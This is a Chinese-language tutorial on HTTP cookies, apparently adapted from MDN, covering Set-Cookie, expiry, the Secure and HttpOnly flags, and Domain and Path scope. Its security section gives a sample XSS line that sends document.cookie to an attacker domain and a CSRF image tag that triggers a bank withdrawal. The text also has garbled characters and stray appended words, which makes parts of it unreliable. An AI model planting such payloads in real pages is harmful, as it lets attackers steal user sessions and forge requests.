关于Cookie的那些事

因为http协议的无状态特性致使现代网络使用cookie成为必然。php

Cookie主要用于如下三个方面:跨域

  • 会话状态管理
  • 个性化设置
  • 浏览器行为跟踪

在没有更多的浏览器本地存储方案以前,cookie一直做为浏览器本地存储使用,存储大量的本地数据。这会致使每次请求都携带大量没必要要的cookie信息,带来额外的性能开销。随着HTML5的推广,新的存储方案Web storage API已经逐渐取代了Cookie的存储功能,cookie利用其能够随请求自动携带的特性能够专心弥补http的无状态问题。就像首都北京不断的释放本身的非首都功能同样。浏览器

建立Cookie

当服务器收到HTTP请求时,服务器能够在响应头里面添加一个Set-Cookie选项。浏览器收到响应后一般会保存下Cookie,以后对该服务器每一次请求中都经过Cookie请求头部将Cookie信息发送给服务器。另外,Cookie的过时时间、域、路径、有效期、适用站点均可以根据须要来指定。安全

Set-Cookie响应头部和Cookie请求头部bash

服务器使用Set-Cookie响应头部向用户代理(通常是浏览器)发送Cookie信息。一个简单的Cookie可能像这样: Set-Cookie: <cookie名>=<cookie值>服务器

会话期Cookiecookie

会话期Cookie是最简单的Cookie:浏览器关闭以后它会被自动删除,也就是说它仅在会话期内有效。 Set-Cookie: id=a3fWa;网络

持久性Cookiedom

和关闭浏览器便失效的会话期Cookie不一样,持久性Cookie能够指定一个特定的过时时间(Expires)或有效期(Max-Age)。 Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;性能

Cookie的Secure 和HttpOnly 标记

标记为 Secure 的Cookie只应经过被HTTPS协议加密过的请求发送给服务端。但即使设置了 Secure 标记,敏感信息也不该该经过Cookie传输,由于Cookie有其固有的不安全性,Secure 标记也没法提供确实的安全保障。从 Chrome 52 和 Firefox 52 开始,不安全的站点(http:)没法使用Cookie的 Secure 标记。

为避免跨域脚本 (XSS) 攻击,经过JavaScript的 Document.cookie API没法访问带有 HttpOnly 标记的Cookie,它们只应该发送给服务端。若是包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的做用域

Domain 和 Path 标识定义了Cookie的做用域:即Cookie应该发送给哪些URL。

Domain 标识指定了哪些主机能够接受Cookie。若是不指定,默认为当前文档的主机(不包含子域名)。若是指定了Domain,则通常包含子域名。

例如,若是设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。

Path 标识指定了主机下的哪些路径能够接受Cookie(该URL路径必须存在于请求URL中)。以字符 %x2F ("/") 做为路径分隔符,子路径也会被匹配。

例如,设置 Path=/docs,则如下地址都会匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

JavaScript经过Document.cookies访问Cookie 经过Document.cookie属性可建立新的Cookie,也可经过该属性访问非HttpOnly标记的Cookie。

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
复制代码

安全

会话劫持和XSS 在Web应用中,Cookie经常使用来标记用户或受权会话。所以,若是Web应用的Cookie被窃取,可能致使受权用户的会话受到攻击。经常使用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。 (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; 跨站请求伪造(CSRF) 好比在不安全聊天室或论坛上的一张图片,它其实是一个给你银行服务器发送提现的请求: <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">